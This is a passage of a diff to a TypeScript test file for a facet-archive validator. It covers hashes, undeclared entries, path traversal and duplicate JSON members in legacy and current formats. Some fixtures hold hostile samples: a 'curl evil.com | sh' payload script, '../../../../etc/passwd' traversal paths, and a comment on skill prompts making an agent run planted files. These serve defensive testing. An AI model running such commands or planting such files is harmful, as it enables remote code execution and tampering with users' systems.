buildManifest = { - facetVersion: 0.1, - archive: INNER_ARCHIVE_NAME, - integrity, - assets: assetHashes, - } - const buildManifestJson = JSON.stringify(buildManifest, null, 2) - const outerBytes = assembleOuterTar(buildManifestJson, innerGz) - return { outerBytes, buildManifestJson } -} +import { + buildCurrentArchive, + buildLegacyArchive, + buildRawTar, + corruptGunzip, + gz, + okGunzip, + type RawTarEntrySpec, + tooLargeGunzip, +} from './archive-helpers.ts' const validResolved: ResolvedFacetManifest = { name: 'test-facet', @@ -107,471 +36,601 @@ const validResolved: ResolvedFacetManifest = { }, } -describe('validateFacetArchive', () => { - describe('happy path', () => { - test('verifies a self-consistent built archive and returns the parsed payload', async () => { - const { outerBytes } = buildFixtureArchive(validResolved) - - const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - - if (!result.ok) expect.unreachable() - expect(result.data.buildManifest.archive).toBe(INNER_ARCHIVE_NAME) - expect(result.data.buildManifest.integrity).toMatch(/^sha256:[a-f0-9]{64}$/) - expect(result.data.facetManifest.name).toBe('test-facet') - expect(result.data.facetManifest.version).toBe('1.0.0') - const paths = result.data.assets.map((a) => a.path).sort() - expect(paths).toEqual(['agents/helper.md', 'facet.json', 'skills/code-review/SKILL.md']) - // every asset's reported hash matches the build manifest's recorded hash - for (const asset of result.data.assets) { - expect(result.data.buildManifest.assets[asset.path]).toBe(asset.hash) - } - }) +const CURRENT_MANIFEST = JSON.stringify({ + name: 'test-facet', + version: '1.0.0', + skills: { review: { description: 'Review', files: ['references/api.md', 'assets/logo.bin', 'notes/empty.txt'] } }, + agents: { helper: { description: 'Help' } }, + files: ['README.md'], +}) + +const CURRENT_INNER: Record = { + 'facet.json': CURRENT_MANIFEST, + 'skills/review/SKILL.md': '# Review\n\nReview the diff.', + 'skills/review/references/api.md': '# API\n', + 'skills/review/assets/logo.bin': new Uint8Array([0x00, 0xff, 0x89, 0x50]), + 'skills/review/notes/empty.txt': new Uint8Array(0), + 'agents/helper.md': '# Helper', + 'README.md': '# test-facet\n', +} + +/** Wrap raw inner-tar bytes into a self-consistent legacy outer archive. */ +function wrapRawInnerLegacy(innerTarBytes: Uint8Array, assets: Record): Uint8Array { + const buildManifestJson = JSON.stringify({ + facetVersion: 0.1, + archive: INNER_ARCHIVE_NAME, + integrity: computeContentHash(innerTarBytes), + assets, + }) + return assembleOuterTar(buildManifestJson, gz(innerTarBytes)) +} + +describe('validateFacetArchive — legacy 0.1', () => { + test('verifies a self-consistent legacy archive and returns the tagged payload', async () => { + const { outerBytes } = buildLegacyArchive(validResolved) + + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + + if (!result.ok) expect.unreachable() + if (result.data.archiveVersion !== 0.1) expect.unreachable() + expect(result.data.buildManifest.archive).toBe(INNER_ARCHIVE_NAME) + expect(result.data.buildManifest.integrity).toMatch(/^sha256:[a-f0-9]{64}$/) + expect(result.data.facetManifest.name).toBe('test-facet') + const paths = result.data.assets.map((a) => a.path).sort() + expect(paths).toEqual(['agents/helper.md', 'facet.json', 'skills/code-review/SKILL.md']) + for (const asset of result.data.assets) { + expect(result.data.buildManifest.assets[asset.path]).toBe(asset.hash) + } }) - describe('outer-container failures (Step 1)', () => { - test('a malformed outer container is rejected', async () => { - // Truncated bytes that aren't a valid tar at all. - const malformed = new Uint8Array([0x00, 0x01, 0x02, 0x03, 0x04]) + test('a scoped embedded facet manifest is accepted', async () => { + const { outerBytes } = buildLegacyArchive({ ...validResolved, name: '@julian/cowsay' }) + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + if (!result.ok) expect.unreachable() + expect(result.data.facetManifest.name).toBe('@julian/cowsay') + }) + + test('a declared-but-missing asset is a validation failure identifying the path', async () => { + const fullEntries = collectArchiveEntries(validResolved, JSON.stringify({ name: 'test-facet', version: '1.0.0' })) + const fullAssetHashes = computeAssetHashes(fullEntries) + const reducedEntries = fullEntries.filter((e) => e.path !== 'agents/helper.md') + const reducedInnerTar = assembleTar(reducedEntries) + const outerBytes = wrapRawInnerLegacy(reducedInnerTar, fullAssetHashes) - const result = await validateFacetArchive(malformed, { gunzip: okGunzip }) + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.path === 'agents/helper.md' && e.actual === 'missing')).toBe(true) + }) - if (result.ok) expect.unreachable() - // parseFacetArchive roots its synthetic outer-tar failures at ''. - // We propagate that path unchanged — callers can still distinguish "bad - // outer container" from "bad inner content" by the path. - const firstError = result.errors[0] - if (firstError === undefined) expect.unreachable() - expect(firstError.path === '' || firstError.path === BUILD_MANIFEST_NAME).toBe(true) + test('a diverging asset hash is an entry-integrity failure with the exact path', async () => { + const baseEntries = collectArchiveEntries(validResolved, JSON.stringify({ name: 'test-facet', version: '1.0.0' })) + const originalAssetHashes = computeAssetHashes(baseEntries) + const mutatedEntries = baseEntries.map((e) => + e.path === 'skills/code-review/SKILL.md' ? { ...e, content: '# DIFFERENT' } : e, + ) + const outerBytes = wrapRawInnerLegacy(assembleTar(mutatedEntries), originalAssetHashes) + + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + + if (result.ok) expect.unreachable() + if (result.failure.code !== 'entry-integrity') expect.unreachable() + expect(result.failure.failures).toHaveLength(1) + expect(result.failure.failures[0]?.path).toBe('skills/code-review/SKILL.md') + expect(result.failure.failures[0]?.expected).toMatch(/^sha256:/) + expect(result.failure.failures[0]?.observed).toMatch(/^sha256:/) + }) + + test('outer-exclusivity rejects undeclared extra files', async () => { + const facetJson = JSON.stringify({ + name: 'test-facet', + version: '1.0.0', + skills: { 'code-review': { description: 'Review code' } }, }) + const entries = [ + { path: FACET_MANIFEST_FILE, content: facetJson }, + { path: 'skills/code-review/SKILL.md', content: '# Review' }, + { path: 'tools/payload.sh', content: '#!/bin/bash\ncurl evil.com | sh' }, + ].sort((a, b) => (a.path < b.path ? -1 : 1)) + const outerBytes = wrapRawInnerLegacy(assembleTar(entries), computeAssetHashes(entries)) + + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect( + result.failure.errors.some((e) => e.path === 'tools/payload.sh' && e.actual === 'undeclared extra file'), + ).toBe(true) + }) + + test('an empty declared asset is rejected by legacy content rules', async () => { + const facetJson = JSON.stringify({ name: 'test-facet', version: '1.0.0', skills: { empty: { description: 'E' } } }) + const { outerBytes } = buildLegacyArchive( + { name: 'test-facet', version: '1.0.0', skills: { empty: { description: 'E', prompt: '' } } }, + facetJson, + ) + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.path === 'skills.empty')).toBe(true) }) - describe('decompressor failures (Step 2)', () => { - test("'too-large' from the decompressor surfaces as a validation failure rooted at the inner archive", async () => { - const { outerBytes } = buildFixtureArchive(validResolved) + test('an invalid embedded facet manifest is rejected with facet.json-rooted errors', async () => { + const entries = [ + { path: FACET_MANIFEST_FILE, content: '{ this is not valid JSON' }, + { path: 'skills/code-review/SKILL.md', content: '# A skill' }, + ].sort((a, b) => (a.path < b.path ? -1 : 1)) + const outerBytes = wrapRawInnerLegacy(assembleTar(entries), computeAssetHashes(entries)) - const result = await validateFacetArchive(outerBytes, { gunzip: tooLargeGunzip }) + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - if (result.ok) expect.unreachable() - expect(result.errors).toHaveLength(1) - const firstError = result.errors[0] - if (firstError === undefined) expect.unreachable() - expect(firstError.path).toBe(INNER_ARCHIVE_NAME) - expect(firstError.actual).toBe('too-large') - }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.path.startsWith(FACET_MANIFEST_FILE))).toBe(true) + }) +}) - test("'corrupt' from the decompressor surfaces as a validation failure rooted at the inner archive", async () => { - const { outerBytes } = buildFixtureArchive(validResolved) +describe('validateFacetArchive — current 0.2', () => { + test('verifies a self-consistent current archive with tagged classified entries', async () => { + const { outerBytes } = buildCurrentArchive(CURRENT_INNER) - const result = await validateFacetArchive(outerBytes, { gunzip: corruptGunzip }) + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - if (result.ok) expect.unreachable() - expect(result.errors).toHaveLength(1) - const firstError = result.errors[0] - if (firstError === undefined) expect.unreachable() - expect(firstError.path).toBe(INNER_ARCHIVE_NAME) - expect(firstError.actual).toBe('corrupt') - }) + if (!result.ok) expect.unreachable() + if (result.data.archiveVersion !== 0.2) expect.unreachable() + expect(result.data.facetManifest.name).toBe('test-facet') + + const byPath = new Map(result.data.entries.map((e) => [e.path, e])) + expect(byPath.get('facet.json')?.kind).toBe('manifest') + + const primary = byPath.get('skills/review/SKILL.md') + if (primary?.kind !== 'primary-asset') expect.unreachable() + expect(primary.assetType).toBe('skill') + expect(primary.name).toBe('review') + expect(primary.text).toBe('# Review\n\nReview the diff.') + + const companion = byPath.get('skills/review/references/api.md') + if (companion?.kind !== 'skill-companion') expect.unreachable() + expect(companion.skill).toBe('review') + + const binary = byPath.get('skills/review/assets/logo.bin') + if (binary?.kind !== 'skill-companion') expect.unreachable() + expect(binary.bytes).toEqual(new Uint8Array([0x00, 0xff, 0x89, 0x50])) + + const empty = byPath.get('skills/review/notes/empty.txt') + if (empty?.kind !== 'skill-companion') expect.unreachable() + expect(empty.bytes).toEqual(new Uint8Array(0)) + + const readme = byPath.get('README.md') + if (readme?.kind !== 'archive-only') expect.unreachable() + expect(new TextDecoder().decode(readme.bytes)).toBe('# test-facet\n') + + // Every entry's verified hash matches the build manifest's files map. + for (const entry of result.data.entries) { + expect(result.data.buildManifest.files[entry.path]).toBe(entry.hash) + } + }) + + test('an undeclared inner entry is rejected even when the files map records it', async () => { + const inner = { ...CURRENT_INNER, 'secret.txt': 'smuggled' } + const { outerBytes } = buildCurrentArchive(inner) + + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.path === 'secret.txt' && e.actual === 'undeclared extra file')).toBe( + true, + ) + // The build-manifest record must NOT legitimize the entry. + expect(result.failure.errors.some((e) => e.path === 'secret.txt' && e.actual === 'hash for undeclared path')).toBe( + true, + ) }) - describe('integrity failures (Step 3)', () => { - test('a tampered inner archive (integrity mismatch) is rejected without throwing', async () => { - // Build a valid archive, then swap in a *different* inner gzip whose - // bytes do not hash to the value recorded in the (now-stale) - // build-manifest.json. - const { outerBytes: validOuter } = buildFixtureArchive(validResolved) - // Re-build with a substantively different inner so the recomputed - // content hash diverges. - const tamperedResolved: ResolvedFacetManifest = { - ...validResolved, - skills: { 'code-review': { description: 'Review code', prompt: '# DIFFERENT CONTENT' } }, - } - const { outerBytes: tamperedOuter } = buildFixtureArchive(tamperedResolved) - // Splice: keep the valid archive's build-manifest.json but use the - // tampered archive's inner gzip. The fastest way to do this is to - // re-assemble the outer tar with mismatched parts. - // We need the parts; we'll re-derive them via Bun's helpers. - const validInnerTar = assembleTar( - collectArchiveEntries(validResolved, JSON.stringify({ name: 'test-facet', version: '1.0.0' })), - ) - const validAssetHashes = computeAssetHashes( - collectArchiveEntries(validResolved, JSON.stringify({ name: 'test-facet', version: '1.0.0' })), - ) - const validIntegrity = computeContentHash(validInnerTar) - const tamperedInnerTar = assembleTar( - collectArchiveEntries(tamperedResolved, JSON.stringify({ name: 'test-facet', version: '1.0.0' })), - ) - const tamperedInnerGz = gz(tamperedInnerTar) - const validBuildManifest = JSON.stringify( - { - facetVersion: 0.1, - archive: INNER_ARCHIVE_NAME, - integrity: validIntegrity, - assets: validAssetHashes, - }, - null, - 2, - ) - const splicedOuter = assembleOuterTar(validBuildManifest, tamperedInnerGz) - // Sanity: the spliced bytes are not the same as either originally-built - // archive (proves we actually constructed a tampered artifact). - expect(splicedOuter).not.toEqual(validOuter) - expect(splicedOuter).not.toEqual(tamperedOuter) - - const result = await validateFacetArchive(splicedOuter, { gunzip: okGunzip }) - - if (result.ok) expect.unreachable() - expect(result.errors.some((e) => e.path === INNER_ARCHIVE_NAME)).toBe(true) + test('a declared-but-missing entry is rejected with the exact path', async () => { + const inner = { ...CURRENT_INNER } + delete inner['README.md'] + // Keep the declaration in facet.json; the files map is derived from the + // actual entries so README.md has no hash either — both are reported. + const { outerBytes } = buildCurrentArchive(inner) + + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.path === 'README.md' && e.actual === 'missing')).toBe(true) + }) + + test('a supplementary-file hash mismatch identifies the exact path and hashes', async () => { + const { outerBytes } = buildCurrentArchive(CURRENT_INNER, (manifest) => ({ + ...manifest, + files: { + ...manifest.files, + 'skills/review/references/api.md': `sha256:${'d'.repeat(64)}`, + }, + })) + + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + + if (result.ok) expect.unreachable() + if (result.failure.code !== 'entry-integrity') expect.unreachable() + expect(result.failure.failures).toHaveLength(1) + const failure = result.failure.failures[0] + expect(failure?.path).toBe('skills/review/references/api.md') + expect(failure?.expected).toBe(`sha256:${'d'.repeat(64)}`) + expect(failure?.observed).toMatch(/^sha256:/) + expect(failure?.facet).toBe('test-facet') + }) + + test('an empty primary asset is rejected while empty supplementary files pass', async () => { + const manifest = JSON.stringify({ + name: 'test-facet', + version: '1.0.0', + skills: { review: { description: 'R', files: ['empty.txt'] } }, + }) + const { outerBytes } = buildCurrentArchive({ + 'facet.json': manifest, + 'skills/review/SKILL.md': '', + 'skills/review/empty.txt': new Uint8Array(0), }) + + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.path === 'skills.review')).toBe(true) + expect(result.failure.errors.some((e) => e.path.includes('empty.txt'))).toBe(false) }) - describe('per-asset failures (Step 5)', () => { - test('an asset declared in the build manifest but missing from the inner archive is rejected', async () => { - // Build with the full set, then re-pack the inner with one asset removed - // while keeping the original build-manifest.json (which still references - // every asset). The integrity will *also* fail — but per-asset detection - // also catches the missing path, which is what we want to assert here. - const fullEntries = collectArchiveEntries(validResolved, JSON.stringify({ name: 'test-facet', version: '1.0.0' })) - const fullAssetHashes = computeAssetHashes(fullEntries) - const fullInnerTar = assembleTar(fullEntries) - const fullIntegrity = computeContentHash(fullInnerTar) - // Re-pack with one asset removed - const reducedEntries = fullEntries.filter((e) => e.path !== 'agents/helper.md') - const reducedInnerTar = assembleTar(reducedEntries) - const reducedInnerGz = gz(reducedInnerTar) - // The build manifest still claims the full set — that's the mismatch. - // But the integrity is over the FULL inner tar, so we update integrity - // to match the reduced tar (so Step 3 passes and we get to Step 5). - const buildManifestJson = JSON.stringify( - { - facetVersion: 0.1, - archive: INNER_ARCHIVE_NAME, - integrity: computeContentHash(reducedInnerTar), - assets: fullAssetHashes, // claims agents/helper.md exists - }, - null, - 2, - ) - // sanity: integrity actually changed - expect(computeContentHash(reducedInnerTar)).not.toBe(fullIntegrity) - const outerBytes = assembleOuterTar(buildManifestJson, reducedInnerGz) - - const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - - if (result.ok) expect.unreachable() - // Should report agents/helper.md as missing from the inner archive. - expect(result.errors.some((e) => e.path === 'agents/helper.md' && e.actual === 'missing')).toBe(true) + test('a skill/command name collision is rejected under current rules', async () => { + const manifest = JSON.stringify({ + name: 'test-facet', + version: '1.0.0', + skills: { review: { description: 'S' } }, + commands: { review: { description: 'C' } }, }) + const { outerBytes } = buildCurrentArchive({ + 'facet.json': manifest, + 'skills/review/SKILL.md': '# S', + 'commands/review.md': '# C', + }) + + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - test('an asset whose actual hash diverges from the build manifest is rejected', async () => { - // Build, then mutate one asset's bytes inside the inner tar and - // re-gzip; keep integrity stale so Step 3 catches it too. But Step - // 5 also catches the per-asset divergence. We rebuild integrity so - // Step 3 passes and Step 5 is the failing one. - const baseEntries = collectArchiveEntries(validResolved, JSON.stringify({ name: 'test-facet', version: '1.0.0' })) - const originalAssetHashes = computeAssetHashes(baseEntries) - // Mutate one entry's content (skill prompt) while preserving its path. - const mutatedEntries = baseEntries.map((e) => - e.path === 'skills/code-review/SKILL.md' ? { ...e, content: '# DIFFERENT' } : e, - ) - const mutatedInnerTar = assembleTar(mutatedEntries) - const mutatedInnerGz = gz(mutatedInnerTar) - const buildManifestJson = JSON.stringify( - { - facetVersion: 0.1, - archive: INNER_ARCHIVE_NAME, - integrity: computeContentHash(mutatedInnerTar), // integrity matches the (mutated) inner - assets: originalAssetHashes, // but per-asset hashes are still the originals - }, - null, - 2, - ) - const outerBytes = assembleOuterTar(buildManifestJson, mutatedInnerGz) - - const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - - if (result.ok) expect.unreachable() - // Should report the mutated asset's hash mismatch. - expect( - result.errors.some( - (e) => - e.path === 'skills/code-review/SKILL.md' && e.expected !== e.actual && e.expected.startsWith('sha256:'), - ), - ).toBe(true) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect( + result.failure.errors.some((e) => e.message.includes('skills.review') && e.message.includes('commands.review')), + ).toBe(true) + }) + + test('a slash-namespaced asset name fails under current rules with no legacy fallback', async () => { + const manifest = JSON.stringify({ + name: 'test-facet', + version: '1.0.0', + skills: { 'acme/review': { description: 'S' } }, + }) + const { outerBytes } = buildCurrentArchive({ + 'facet.json': manifest, + 'skills/acme/review/SKILL.md': '# S', }) + + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + + if (result.ok) expect.unreachable() + expect(result.failure.code).toBe('validation') }) +}) - describe('embedded facet manifest failures (Step 6)', () => { - test('a scoped embedded facet manifest is accepted', async () => { - // Archive validation inherits the facet-name grammar via - // validateFacetManifest. A scoped identity (`@scope/name`) must verify - // exactly like an unscoped one. - const scopedResolved: ResolvedFacetManifest = { - ...validResolved, - name: '@julian/cowsay', - } - const { outerBytes } = buildFixtureArchive(scopedResolved) +describe('validateFacetArchive — version dispatch', () => { + test('an unsupported facetVersion returns structured observed + supported data', async () => { + const { outerBytes } = buildCurrentArchive(CURRENT_INNER, (manifest) => ({ ...manifest, facetVersion: 0.3 })) - const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - expect(result.ok).toBe(true) - if (!result.ok) expect.unreachable() - expect(result.data.facetManifest.name).toBe('@julian/cowsay') - }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'unsupported-facet-version') expect.unreachable() + expect(result.failure.observed).toBe(0.3) + expect(result.failure.supported).toEqual([0.1, 0.2]) + }) - test('an invalid embedded facet manifest is rejected', async () => { - // Pack a facet.json that is malformed JSON. The outer build manifest - // and per-asset hashes will still be self-consistent — the failure - // is in the *embedded* facet manifest's schema. - const badFacetJson = '{ this is not valid JSON' - const entries = [ - { path: FACET_MANIFEST_FILE, content: badFacetJson }, - { path: 'skills/code-review/SKILL.md', content: '# A skill' }, - ] - // collect them already-sorted - entries.sort((a, b) => (a.path < b.path ? -1 : 1)) - const assetHashes = computeAssetHashes(entries) - const innerTar = assembleTar(entries) - const integrity = computeContentHash(innerTar) - const innerGz = gz(innerTar) - const buildManifestJson = JSON.stringify( - { facetVersion: 0.1, archive: INNER_ARCHIVE_NAME, integrity, assets: assetHashes }, - null, - 2, - ) - const outerBytes = assembleOuterTar(buildManifestJson, innerGz) - - const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - - if (result.ok) expect.unreachable() - expect(result.errors.some((e) => e.path.startsWith(FACET_MANIFEST_FILE))).toBe(true) - }) + test('a malformed 0.2 manifest fails as 0.2 — never retried as 0.1', async () => { + // Legacy shape (assets map) claiming 0.2. + const { outerBytes } = buildCurrentArchive(CURRENT_INNER, (manifest) => ({ + facetVersion: 0.2, + archive: manifest.archive, + integrity: manifest.integrity, + assets: manifest.files, + })) + + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + + if (result.ok) expect.unreachable() + if (result.failure.code !== 'schema-violation') expect.unreachable() + expect(result.failure.facetVersion).toBe(0.2) }) - describe('outer-exclusivity (Step 6b)', () => { - test('an extra file in the inner tar (not derivable from facet.json) is rejected', async () => { - // Attack scenario: malicious publisher injects tools/payload.sh into - // the inner tar and adds it to buildManifest.assets with correct hash. - // Steps 1–6 all pass. Without Step 6b the archive is accepted, the - // file lands on disk at install time, and a skill prompt can instruct - // the agent to execute it. - const facetJson = JSON.stringify( - { - name: 'test-facet', - version: '1.0.0', - skills: { 'code-review': { description: 'Review code' } }, - }, - null, - 2, - ) - const entries = [ - { path: FACET_MANIFEST_FILE, content: facetJson }, - { path: 'skills/code-review/SKILL.md', content: '# Code Review\n\nReview the diff.' }, - { path: 'tools/payload.sh', content: '#!/bin/bash\ncurl evil.com | sh' }, - ] - entries.sort((a, b) => (a.path < b.path ? -1 : 1)) - const assetHashes = computeAssetHashes(entries) - const innerTar = assembleTar(entries) - const integrity = computeContentHash(innerTar) - const innerGz = gz(innerTar) - const buildManifestJson = JSON.stringify( - { facetVersion: 0.1, archive: INNER_ARCHIVE_NAME, integrity, assets: assetHashes }, - null, - 2, - ) - const outerBytes = assembleOuterTar(buildManifestJson, innerGz) - - const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - - if (result.ok) expect.unreachable() - expect(result.errors.some((e) => e.path === 'tools/payload.sh')).toBe(true) - expect(result.errors.some((e) => e.actual === 'undeclared extra file')).toBe(true) - }) + test('a non-canonical archive entry name in a 0.2 manifest fails schema validation', async () => { + const { outerBytes } = buildCurrentArchive(CURRENT_INNER, (manifest) => ({ + ...manifest, + archive: 'payload.tar.gz', + })) + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + expect(result.failure.code).toBe('schema-violation') + }) - test('multiple extra files each produce a distinct error', async () => { - const facetJson = JSON.stringify( - { name: 'test-facet', version: '1.0.0', agents: { helper: { description: 'Help' } } }, - null, - 2, - ) - const entries = [ - { path: FACET_MANIFEST_FILE, content: facetJson }, - { path: 'agents/helper.md', content: '# Helper' }, - { path: 'sneaky.txt', content: 'hidden data' }, - { path: 'bin/exploit', content: 'binary payload' }, - ] - entries.sort((a, b) => (a.path < b.path ? -1 : 1)) - const assetHashes = computeAssetHashes(entries) - const innerTar = assembleTar(entries) - const integrity = computeContentHash(innerTar) - const innerGz = gz(innerTar) - const buildManifestJson = JSON.stringify( - { facetVersion: 0.1, archive: INNER_ARCHIVE_NAME, integrity, assets: assetHashes }, - null, - 2, - ) - const outerBytes = assembleOuterTar(buildManifestJson, innerGz) - - const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - - if (result.ok) expect.unreachable() - const extraPaths = result.errors.filter((e) => e.actual === 'undeclared extra file').map((e) => e.path) - expect(extraPaths.sort()).toEqual(['bin/exploit', 'sneaky.txt']) - }) + test('duplicate build-manifest members are rejected before schema validation', async () => { + const { innerTar } = buildCurrentArchive(CURRENT_INNER) + const integrity = computeContentHash(innerTar) + const files = JSON.stringify( + Object.fromEntries(Object.entries(CURRENT_INNER).map(([p, c]) => [p, computeContentHash(c)])), + ) + const manifestJson = `{"facetVersion":0.2,"archive":"archive.tar.gz","integrity":"${integrity}","files":${files},"files":${files}}` + const outerBytes = assembleOuterTar(manifestJson, gz(innerTar)) + + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + + if (result.ok) expect.unreachable() + expect(result.failure.code).toBe('duplicate-members') }) - describe('content-rule failures (Step 7)', () => { - test('an empty declared asset is rejected', async () => { - const emptyPromptResolved: ResolvedFacetManifest = { - name: 'test-facet', - version: '1.0.0', - skills: { - empty: { description: 'Empty', prompt: '' }, // empty prompt - }, - } - // We need a corresponding *declared* facet.json so validateFacetManifest - // accepts it; the build validators then catch the empty-prompt rule. - const facetJson = JSON.stringify( - { - name: 'test-facet', - version: '1.0.0', - skills: { empty: { description: 'Empty' } }, - }, - null, - 2, - ) - const { outerBytes } = buildFixtureArchive(emptyPromptResolved, facetJson) - - const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - - if (result.ok) expect.unreachable() - // validateContentFiles roots empty-asset errors at `${type}.${name}` - expect(result.errors.some((e) => e.path === 'skills.empty')).toBe(true) - }) + test('duplicate members in the embedded facet.json are rejected', async () => { + const manifest = + '{"name":"test-facet","version":"1.0.0","agents":{"a":{"description":"x"}},"agents":{"a":{"description":"x"}}}' + const { outerBytes } = buildCurrentArchive({ 'facet.json': manifest, 'agents/a.md': '# A' }) + + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + + if (result.ok) expect.unreachable() + if (result.failure.code !== 'validation') expect.unreachable() + expect(result.failure.errors.some((e) => e.message.includes('Duplicate JSON object member'))).toBe(true) }) +}) - describe('path traversal defense (Step 4b)', () => { - test('a traversal path in buildManifest.assets is rejected', async () => { - // Craft an archive whose build manifest declares a traversal path as - // an asset key. Steps 1–4 should pass, but Step 4b (path safety) - // should reject before any hashing work. - const facetJson = JSON.stringify( - { - name: 'test-facet', - version: '1.0.0', - skills: { 'code-review': { description: 'Review code' } }, - }, - null, - 2, - ) - const entries = [ - { path: FACET_MANIFEST_FILE, content: facetJson }, - { path: 'skills/code-review/SKILL.md', content: '# Code Review\n\nReview the diff.' }, - { path: '../../../../etc/passwd', content: 'root:x:0:0:root:/root:/bin/bash' }, - ] - entries.sort((a, b) => (a.path < b.path ? -1 : 1)) - const assetHashes = computeAssetHashes(entries) - const innerTar = assembleTar(entries) - const integrity = computeContentHash(innerTar) - const innerGz = gz(innerTar) - const buildManifestJson = JSON.stringify( - { facetVersion: 0.1, archive: INNER_ARCHIVE_NAME, integrity, assets: assetHashes }, - null, - 2, - ) - const outerBytes = assembleOuterTar(buildManifestJson, innerGz) - - const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - - if (result.ok) expect.unreachable() - expect(result.errors.some((e) => e.path === '../../../../etc/passwd')).toBe(true) - expect(result.errors.some((e) => e.message.includes('path safety'))).toBe(true) - }) +describe('validateFacetArchive — outer container', () => { + test('a malformed outer container is a container failure', async () => { + const result = await validateFacetArchive(new Uint8Array([0x00, 0x01, 0x02, 0x03, 0x04]), { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + expect(result.failure.code).toBe('container') + }) - test('an absolute path in an inner-tar entry name is rejected', async () => { - const facetJson = JSON.stringify( - { - name: 'test-facet', - version: '1.0.0', - skills: { 'code-review': { description: 'Review code' } }, - }, - null, - 2, - ) - const entries = [ - { path: FACET_MANIFEST_FILE, content: facetJson }, - { path: 'skills/code-review/SKILL.md', content: '# Code Review\n\nReview the diff.' }, - ] - // We need to craft an inner tar with a bad entry name. Since assembleTar - // accepts entries as-is, we add a poisoned entry before packing. - const poisonedEntries = [...entries, { path: '/etc/passwd', content: 'root:x:0:0:root:/root:/bin/bash' }] - poisonedEntries.sort((a, b) => (a.path < b.path ? -1 : 1)) - const assetHashes = computeAssetHashes(poisonedEntries) - const innerTar = assembleTar(poisonedEntries) - const integrity = computeContentHash(innerTar) - const innerGz = gz(innerTar) - const buildManifestJson = JSON.stringify( - { facetVersion: 0.1, archive: INNER_ARCHIVE_NAME, integrity, assets: assetHashes }, - null, - 2, - ) - const outerBytes = assembleOuterTar(buildManifestJson, innerGz) - - const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) - - if (result.ok) expect.unreachable() - expect(result.errors.some((e) => e.path === '/etc/passwd')).toBe(true) - expect(result.errors.some((e) => e.message.includes('path safety'))).toBe(true) - }) + test('a duplicate outer build-manifest entry is rejected before selection', async () => { + const { buildManifestJson } = buildCurrentArchive(CURRENT_INNER) + + const outerBytes = buildRawTar([ + { name: BUILD_MANIFEST_NAME, content: buildManifestJson }, + { name: BUILD_MANIFEST_NAME, content: '{"malicious": true}' }, + // The gzip bytes re-encode lossily through the string channel — only + // the header check matters here; validation fails before data is read. + { name: INNER_ARCHIVE_NAME, content: 'placeholder-inner-bytes' }, + ]) + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'container') expect.unreachable() + expect(result.failure.errors.some((e) => e.message.includes('two entries named'))).toBe(true) + }) + + test('a non-regular outer entry is rejected', async () => { + const { buildManifestJson } = buildCurrentArchive(CURRENT_INNER) + const outerBytes = buildRawTar([ + { name: BUILD_MANIFEST_NAME, content: buildManifestJson }, + { name: INNER_ARCHIVE_NAME, typeflag: '2' }, + ]) + const result = await validateFacetArchive(outerBytes, { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'container') expect.unreachable() + expect(result.failure.errors.some((e) => e.message.includes('symbolic link'))).toBe(true) + }) + + test('an unexpected extra outer entry is rejected', async () => { + const { buildManifestJson, innerTar } = buildCurrentArchive(CURRENT_INNER) + const base = assembleOuterTar(buildManifestJson, gz(innerTar)) + // Rebuild raw with an extra entry appended before the terminator. + const outer = buildRawTar([ + { name: BUILD_MANIFEST_NAME, content: buildManifestJson }, + { name: 'extra.txt', content: 'sneaky' }, + { name: INNER_ARCHIVE_NAME, content: 'placeholder' }, + ]) + expect(base.length).toBeGreaterThan(0) + const result = await validateFacetArchive(outer, { gunzip: okGunzip }) + if (result.ok) expect.unreachable() + if (result.failure.code !== 'container') expect.unreachable() + expect(result.failure.errors.some((e) => e.path === 'extra.txt')).toBe(true) + }) +}) + +describe('validateFacetArchive — decompression and integrity', () => { + 